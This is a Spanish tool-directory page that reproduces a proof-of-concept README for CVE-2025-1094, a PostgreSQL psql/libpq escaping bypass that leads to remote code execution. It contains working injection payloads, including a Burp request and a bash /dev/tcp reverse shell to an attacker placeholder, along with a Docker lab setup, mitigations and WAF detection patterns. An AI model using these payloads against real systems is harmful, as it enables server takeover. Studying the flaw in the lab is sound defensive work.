Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2025-1094 — Explotación de prueba de concepto para CVE-2025-1094, una inyección SQL en psql de PostgreSQL que conduce a RCE mediante la omisión de escape de libpq. Incluye entorno Docker, script de explotación y orientación de mitigación. | Kitploit
Herramientas/GitHubGitHub/trandonga3/poc-cve-2025-1094
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Explotación de prueba de concepto para CVE-2025-1094, una inyección SQL en psql de PostgreSQL que conduce a RCE mediante la omisión de escape de libpq. Incluye entorno Docker, script de explotación y orientación de mitigación.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC CVE-2025-1094: Inyección SQL en psql de PostgreSQL

Prueba de concepto para la vulnerabilidad crítica de inyección SQL en el cliente libpq de PostgreSQL y la herramienta psql

📋 Tabla de contenidos

  1. Introducción a la vulnerabilidad
  2. Estructura del directorio del proyecto
  3. Análisis del payload de ataque
  4. Guía de uso
  5. Mitigación y prevención

1. Introducción a la vulnerabilidad

Descripción general

CVE-2025-1094 es una vulnerabilidad crítica en la biblioteca cliente libpq y la herramienta de línea de comandos psql de PostgreSQL. Esta vulnerabilidad permite a un atacante realizar inyección SQL y escalar a ejecución remota de código (RCE) incluso cuando la aplicación ha usado funciones de escape de cadenas estándar como PQescapeLiteral.

Causa raíz

El error surge de la inconsistencia en el manejo de cadenas de bytes multibyte no válidos (como UTF-8) entre la biblioteca de escape y el analizador sintáctico de psql.

Dos mecanismos de ataque principales:

1. Bypass de escape

  • La función PQescapeLiteral es engañada por un "byte nuevo" (por ejemplo 0xC0)
  • Considera que este byte y la comilla simple (') adjunta son un único carácter
  • Lo que resulta en que esa comilla simple no se escape

2. RCE a través de metacomandos

  • Cuando esta cadena defectuosa se introduce en la herramienta psql
  • El atacante puede salir de la sentencia SQL y usar el comando de sistema \! de psql
  • Permitiendo ejecutar código shell arbitrario en el servidor

2. Estructura del directorio del proyecto

El proyecto está organizado para simular un entorno realista al llamar a la función C libpq:

.
├── docker-compose.yml       # Inicia PostgreSQL + App Web
├── exolit.py               # Script de explotación - Ataque desde el exterior
├── README.md               # Este documento
└── app/
    ├── app.py             # Aplicación web Flask - Recibe entrada del usuario
    ├── Dockerfile         # Construye imagen con código vulnerable
    └── init_db.sql        # Inicializa la base de datos

Componentes principales:

  • Flask Web App: Recibe entrada del usuario a través del endpoint /search
  • Función C libpq: Procesa la consulta SQL pero no verifica bytes válidos
  • Metacomandos psql: Permite ejecutar comandos del sistema mediante \!
  • Tubería de subproceso: La aplicación introduce la sentencia SQL en psql a través del flujo de entrada

3. Análisis del payload de ataque

Payload de ejemplo

hax\xc0'; \! id; #

Desglose de cada componente:

ComponenteValorSignificado
Data inputhaxDatos normales
Byte nuevo\xc0Byte UTF-8 no válido - bypass de escape
Comilla'Comilla simple "invisible" - elude el filtro
Fin SQL;Finaliza la sentencia SQL actual
Metacomando\!Comando especial de psql - sale al shell del sistema operativo
Comando shellidComando a ejecutar (puede reemplazarse por una reverse shell)
Comentario#Marca de comentario SQL - desactiva el resto

Proceso de ejecución:

1. Input user: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() no reconoce \xc0 + ' como un ataque
   ↓
3. La cadena se envía a psql: hax\xc0'; \! id; #
   ↓
4. psql analiza: la parte \xc0 se considera como fin de cadena
   ↓
5. El metacomando \! se activa
   ↓
6. El comando shell id se ejecuta con los permisos del contenedor

4. Guía de uso

Método 1: Usar Docker Compose (Recomendado)

Paso 1: Iniciar el entorno

docker-compose up -d

Paso 2: Esperar que los contenedores se inicien

docker-compose ps

Asegúrese de que tanto PostgreSQL como la aplicación Flask estén en ejecución.

Paso 3: Ejecutar el exploit

python exolit.py

Resultado esperado: Mostrará la información uid=0(root) obtenida del servidor

Paso 4: Detener el entorno

docker-compose down

Método 2: Usar Burp Suite (Manual)

Enviar petición HTTP

Envíe una petición POST a /search con el siguiente body:

name=hax%c0%27;+\!+id+;+%23

Codificación URL de referencia:

  • %c0 = \xc0 (byte UTF-8 no válido)
  • %27 = ' (comilla simple)
  • %23 = # (signo de almohadilla)
  • + = espacio

Payload de reverse shell:

hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Nota: Reemplace <ip-hacker> y <port-hacker> con la IP y el puerto de la máquina del atacante


5. Mitigación y prevención

A. Actualizar con parche

Actualice PostgreSQL a las versiones parcheadas:

VersiónVersión segura
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Verificar la codificación

Siempre valide que los datos de entrada sean UTF-8 válido antes de procesarlos:

def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Limitar el uso de psql CLI

En la programación de aplicaciones, utilice las bibliotecas de controladores oficiales:

# ❌ NO: Usar subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ SÍ: Usar consultas parametrizadas con psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Principio de mínimo privilegio

  • No ejecutar la aplicación web como root
  • No ejecutar la base de datos como root
  • Usar un usuario dedicado con los mínimos privilegios

E. Reglas WAF / IDS

Configure reglas para detectar patrones:

- Byte 0xC0, 0xC1 en el cuerpo de la petición
- Metacomando `\!` en la entrada del usuario
- Cadenas como `; \!` o `' \!`

📚 Referencias

  1. Enlace al archivo fuente (Antes del parche) Puede ver el archivo src/interfaces/libpq/fe-exec.c en la versión 17.2 (versión aún vulnerable):

    • Enlace GitHub: PostgreSQL fe-exec.c en el tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Función importante: Busque la función PQescapeStringInternal (normalmente alrededor de la línea 3400 en adelante). Esta es la función "núcleo" a la que llaman tanto PQescapeLiteral como PQescapeString.
  2. Ver "El Parche" (The Patch) - Lo más importante para White-box Para entender por qué ocurrió el error y cómo lo corrigieron, la mejor manera es ver el Commit Diff (el cambio entre la versión vulnerable y el parche).

    • Enlace de commit oficial: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Análisis de la vulnerabilidad : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Descargar herramienta